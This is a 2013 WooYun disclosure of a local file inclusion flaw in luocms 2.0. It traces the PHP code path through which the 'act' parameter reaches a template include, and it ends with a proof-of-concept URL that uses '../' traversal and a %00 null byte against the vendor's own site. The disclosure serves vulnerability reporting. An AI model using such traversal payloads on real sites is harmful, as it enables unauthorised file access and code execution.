当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021366

漏洞标题:luocms 2.0 Local File Inclusion Vulnerability

相关厂商:luocms

漏洞作者: knife

提交时间:2013-04-08 10:41

修复时间:2013-05-23 10:41

公开时间:2013-05-23 10:41

漏洞类型:文件包含

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-05-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

有点鸡肋

详细说明:

/*******************************************************/
/* luocms 2.0 Local File Inclusion Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : [email protected]
/*========================
/*******************************************************/
/* Welcome to http://www.90sec.com */
/*******************************************************/

//首先看看首页
<?php
require_once "inc/const.php";
$id = getvar("id"); //查看函数 getvar
$fid = getvar("fid");
$cid = getvar("cid");
$act = getvar("act");
$p = getvar("p");
$p = !empty($p) ? $p : 1;
$p_l = new cls_tpl();
$p_l->tpl_main($act,$id,$cid,$sitepath,$p);
?>


//跟入tpl_main 函数
function tpl_main($act,$id,$cid,$sitepath,$p){
//$stime=microtime(true); //获取程序开始执行的时间
$tpl_addr = $this->get_tpl($act);
$temp = $this->load_tpl($tpl_addr);
$temp = $this->get_include_file($temp);//包含产生
$temp = $this->get_sys_tag($temp,$id,$cid);
$temp = $this->get_list_tag($temp,$id,$cid,$p);
$temp = $this->get_url_path($temp);
$temp = $this->get_sort_tag($temp,$id,$cid);
$temp = $this->get_title_tag($temp,$id);
$temp = $this->get_sitepath($temp,$act,$id,$cid);
if ($id != ""){
$temp = $this->get_content_content($temp,$id);
$temp = $this->get_prv_next($temp,$id);
}
echo $temp;
//$etime=microtime(true);//获取程序执行结束的时间
//$total=$etime-$stime; //计算差值
//echo "<br />$total times";
}

//跟入get_tpl函数
function get_tpl($act){
if ($act != "") {
$temp = $GLOBALS[templatedir].$act.$GLOBALS[rewriteext];
}else{
$temp = $GLOBALS[templatedir].$GLOBALS[indextemplate];
}
return $temp;
}
//$GLOBALS[templatedir].$act.$GLOBALS[rewriteext]; 看看赋值
$installdir = "";
$templatedir = 'template/';
$databasePrefix = "luo_";
$indexname = "LUOCMS首页";
$indextemplate = 'index.html';
$httpurl = "http://127.0.0.1/lUOCMS_UTF8_V2.0.101201/upload/";
$defaultext = 'html';
$sitepathsplit = ' > ';
$titlepathsplit = ' - ';
$rewriteext = '.html';
$author = "Admin";
$source = "本站";
$site_beian = "123456";
$manager_email = "[email protected]";
$sysversion = "V2.0.101108_UTF8";
$issetup = "0";
//ok template/$act.html $act 可控 产生包含


漏洞证明:

官网开启转义了
我也不知道咋证明了。。
poc: http://www.luocms.com/index.php?act=../upload/file/3.txt%00

修复方案:

过滤

版权声明:转载请注明来源 knife@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝